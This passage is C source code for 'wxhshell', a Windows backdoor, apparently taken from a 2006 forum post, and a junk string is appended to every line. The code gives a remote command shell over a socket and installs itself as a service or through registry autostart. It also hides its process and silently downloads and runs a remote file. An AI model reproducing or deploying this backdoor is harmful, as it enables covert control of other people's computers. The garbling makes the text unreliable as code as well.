  case '?': { yA7O<p+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Rha7O  
    break; = \K/ulZo  
  } |:u5R%  
  // 安装 x}x)h3e  
  case 'i': { )*7{%Ilq  
    if(Install()) 4`7~~:W!M5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $XKUw"%  
    else `V.tqZF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?DnQU"_$  
    break; &v9"lR=_k  
    } C;9P6^Oz  
  // 卸载 "j.Q*Hazg  
  case 'r': { `wSoa#U"@  
    if(Uninstall()) ^E%NYq_2l<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mM_gOd  
    else H)y_[:[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S'>KGdF  
    break; %O{FZgi%wA  
    } uVXn/B  
  // 显示 wxhshell 所在路径 u{dkUG1ia  
  case 'p': { u/N_62sk5  
    char svExeFile[MAX_PATH]; dN){w _  
    strcpy(svExeFile,"\n\r"); kHQn' r6  
      strcat(svExeFile,ExeFile); WMFn#.aY5  
        send(wsh,svExeFile,strlen(svExeFile),0); ;#*.@Or@Ah  
    break; h645;sb0  
    } CI+liH  
  // 重启 d[E= HN  
  case 'b': { }R:oWR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]n$ v ^  
    if(Boot(REBOOT)) 5cl^:Ua  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V=+p8nE0  
    else { e"Z,!Q^-L  
    closesocket(wsh); b'xBPTN  
    ExitThread(0); +.$:ZzH#  
    } 2Ns<lh   
    break; WJ 'lYl0+7  
    } ]]5(:>l  
  // 关机 F'_z$,X6  
  case 'd': { .li)k[] ts  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #X6=`Xe#  
    if(Boot(SHUTDOWN)) U)3?&9H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;zWiPnX}  
    else { 2"o <>d  
    closesocket(wsh); m 7+=w>o  
    ExitThread(0); <&4~Z! O  
    } h[ C XH"  
    break; 5Iv"  
    } ]0{,P !  
  // 获取shell =E~_F>SD  
  case 's': { 'n?"f|G  
    CmdShell(wsh); w}29#F\]R  
    closesocket(wsh); HS1{4/  
    ExitThread(0); kC'm |Y@T  
    break; %,d+jBM  
  } U:$`M,762Z  
  // 退出 ^Je*k)COn  
  case 'x': { -{yG+1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9s*UJIL  
    CloseIt(wsh); 'qeUI}[  
    break; TI8E W  
    } m^^#3*qa  
  // 离开 ![Vrbe P  
  case 'q': { 2J` LZS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2[KHmdgtB  
    closesocket(wsh); sr:hR Q27  
    WSACleanup(); \ow(4O#  
    exit(1); >waA\C}  
    break; _G)x\K]N  
        } -1R7 8(1  
  } Wx8;+!2Q/  
  } BJsN~` =r  
t4-0mNBZt$  
  // 提示信息 ^;Yjs.bI`F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FwQGxGZ  
} X,K`]hb*0_  
  } pf3-  
86o'3G9@  
  return;  mNX0BZ  
} 1DF8-|+  
X)8Edw[?N3  
// shell模块句柄 i2\CDYP  
int CmdShell(SOCKET sock) Lf8{']3  
{ &7c#i  
STARTUPINFO si; tTJ$tx  
ZeroMemory(&si,sizeof(si)); 'RR,b*Ql  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CTc#*LJx>j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z}p*";)A  
PROCESS_INFORMATION ProcessInfo; }5?|iUH|  
char cmdline[]="cmd"; #;'*W$Wk2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ck8Qs08  
  return 0; TG.\C8;vFh  
} qmnW  
, w_C~XN$t  
// 自身启动模式 g;y*F;0@  
int StartFromService(void) 5WtI.7r  
{ iM]&ryGB#  
typedef struct 1w>G8  
{ o6r ^  
  DWORD ExitStatus; jgw+c3^R_  
  DWORD PebBaseAddress; k6_OP]  
  DWORD AffinityMask; QO|jdlg  
  DWORD BasePriority; ^ =H 10A  
  ULONG UniqueProcessId; a#3,qp!  
  ULONG InheritedFromUniqueProcessId; "l6Ob  
}   PROCESS_BASIC_INFORMATION; CO SQ  
Z0Qh7xWve  
PROCNTQSIP NtQueryInformationProcess; "K*^%{  
c*)PS`]t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Fch{%S>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =Flr05}m  
YMn=9EUp  
  HANDLE             hProcess; ]T>YYz  
  PROCESS_BASIC_INFORMATION pbi; .O9Pn,:  
JWQ.Efe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a+n?y)u  
  if(NULL == hInst ) return 0; [g: KFbEY  
PMiG:bM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B5va4@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e?dR'*-z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Kd,(DI  
"o<&3c4  
  if (!NtQueryInformationProcess) return 0; QST-!`]v  
SwhArvS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e\]CZ5hs3  
  if(!hProcess) return 0; 1ka58_^  
DZ5h<1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _[J>GfQd  
/6p7 k  
  CloseHandle(hProcess); diF2:80o  
5%R$7>`Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pKk{Q0Rt  
if(hProcess==NULL) return 0; Dn;$4Dak(  
y Xi$w.gr  
HMODULE hMod; 6;}FZ  
char procName[255]; 5U(ry6fI=  
unsigned long cbNeeded; A#w*r-P  
`V Rt{p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H=_k|#/  
Bj\oo+L/  
  CloseHandle(hProcess); /f,*|  
qBWt(jY  
if(strstr(procName,"services")) return 1; // 以服务启动 ;<|m0>X  
/k^O1+]H  
  return 0; // 注册表启动 Y; q['h  
} lQer|?#  
,wk %)^  
// 主模块 >2< Jb!f&  
int StartWxhshell(LPSTR lpCmdLine) 0bR})}a+Yg  
{ \H.1I=<  
  SOCKET wsl; c(!{_+q"  
BOOL val=TRUE; @!Q\| <  
  int port=0; +~M`rR*  
  struct sockaddr_in door; &?yVLft  
irzWk3@:  
  if(wscfg.ws_autoins) Install(); .cg"M0  
_gP-$&JC  
port=atoi(lpCmdLine);  Z_?r5M;  
LgoUD*MbQ  
if(port<=0) port=wscfg.ws_port; 1;y?!;FD  
OW8"7*irT  
  WSADATA data; ?rv5Z^D'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e/V8lo  
GAcU8  MD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {@`Z`h" N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +8q]O%B   
  door.sin_family = AF_INET; 5TcirVO82  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +J%9%DqF  
  door.sin_port = htons(port); Klk[ h  
E.OL_\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n/-d56  
closesocket(wsl); KdkZ-.  
return 1; 5y|/}D>  
} a`uHkRX )U  
{t<U:*n2  
  if(listen(wsl,2) == INVALID_SOCKET) { ]abox%U=%  
closesocket(wsl); _l!TcH+e  
return 1; Wq]Lb:&{a  
} @K.[;-;g  
  Wxhshell(wsl); 0p' =Vel{}  
  WSACleanup(); lzStJ,NPqn  
rz3!0P!"K  
return 0; 1t7S:IZ  
?3:xR_VWZu  
} Z,m;eCLG]  
S,TK;g  
// 以NT服务方式启动 .jC-&(R +  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^ G(GjW8  
{ H0\5a|X-  
DWORD   status = 0; WD,iY_'7u^  
  DWORD   specificError = 0xfffffff; gsp|?) ]x  
9hIcnPu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _,;|,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QC*> qo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eZ~ZWb,%  
  serviceStatus.dwWin32ExitCode     = 0; rZv5>aEI  
  serviceStatus.dwServiceSpecificExitCode = 0; cA{zyq26  
  serviceStatus.dwCheckPoint       = 0; 'X(G><R9  
  serviceStatus.dwWaitHint       = 0; geRD2`3;  
.I&]G  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y!|* `FII  
  if (hServiceStatusHandle==0) return; @I^LmB9*  
<kr%ylhIu  
status = GetLastError(); rwUKg[ 1N  
  if (status!=NO_ERROR) DU/WB  
{ MH,vn</Uw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ \(*pa  
    serviceStatus.dwCheckPoint       = 0; Dk XB  
    serviceStatus.dwWaitHint       = 0; L5tSS=  
    serviceStatus.dwWin32ExitCode     = status; 5w+X   
    serviceStatus.dwServiceSpecificExitCode = specificError; LE:nmo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F7zBm53  
    return; 4^mpQ.]lO  
  } qm1;^j&y  
lIj2w;$v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2|n~5\K|t  
  serviceStatus.dwCheckPoint       = 0; 0*KU"JcXd  
  serviceStatus.dwWaitHint       = 0; 5ZkMd !$y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LMmW3W`   
} v&GBu  
8s_'tw/{  
// 处理NT服务事件,比如:启动、停止 ovn)lIs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3tlA! e  
{ ."m2/Ks7  
switch(fdwControl) hDJ84$eVZ  
{ K2glkGK  
case SERVICE_CONTROL_STOP: _pv<_ Sm  
  serviceStatus.dwWin32ExitCode = 0; R8 lBh Ls  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E|jbbCZy2  
  serviceStatus.dwCheckPoint   = 0;  v NJ!d  
  serviceStatus.dwWaitHint     = 0; ta-kqt!'  
  { 76rNs|z~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i|5K4Puu  
  } ^Fr82rJs  
  return; W=$d|*$  
case SERVICE_CONTROL_PAUSE: tNI~<#+lg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p Rn vd|  
  break; Jn_;  cN  
case SERVICE_CONTROL_CONTINUE: *hp3w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W:^\Oe5&a  
  break; PKhH0O\_U  
case SERVICE_CONTROL_INTERROGATE: SqhG\qE{Qj  
  break; \)?[1b&[_  
}; 9oL/oL-J/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #lM :BO  
} 6jiz$x  
jMvWS71  
// 标准应用程序主函数 I-Ya#s#m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vb`m3  
{ a~_5N&~pi  
8pfQAzl  
// 获取操作系统版本 BiQ7r=Dd.  
OsIsNt=GetOsVer(); MXbt`]`_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ! `yg bI.  
3rEBG0cf]  
  // 从命令行安装 ugtb`d{ Sl  
  if(strpbrk(lpCmdLine,"iI")) Install(); )/u?_)b4"  
_-^Lr /`G!  
  // 下载执行文件 $~<);dYu0  
if(wscfg.ws_downexe) { at@B>Rb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1YmB2h[Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0^Vc,\P?  
} rkdwGqG  
LO,G2]  
if(!OsIsNt) { xG05OqKpE  
// 如果时win9x,隐藏进程并且设置为注册表启动 YY (,H!  
HideProc(); h[SuuW  
StartWxhshell(lpCmdLine); cCd2f>EHw  
} jj,Y:  
else E}aTH  
  if(StartFromService()) 5fK#*(x  
  // 以服务方式启动 Y!C=0&p  
  StartServiceCtrlDispatcher(DispatchTable); C ebl"3Q  
else -t, .A/?  
  // 普通方式启动 "Ldi<xq%xl  
  StartWxhshell(lpCmdLine); }\E2Z[  
smLXNO  
return 0; [.O 3z*[9#  
}
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只看该作者 1 发表于: 2006-10-10
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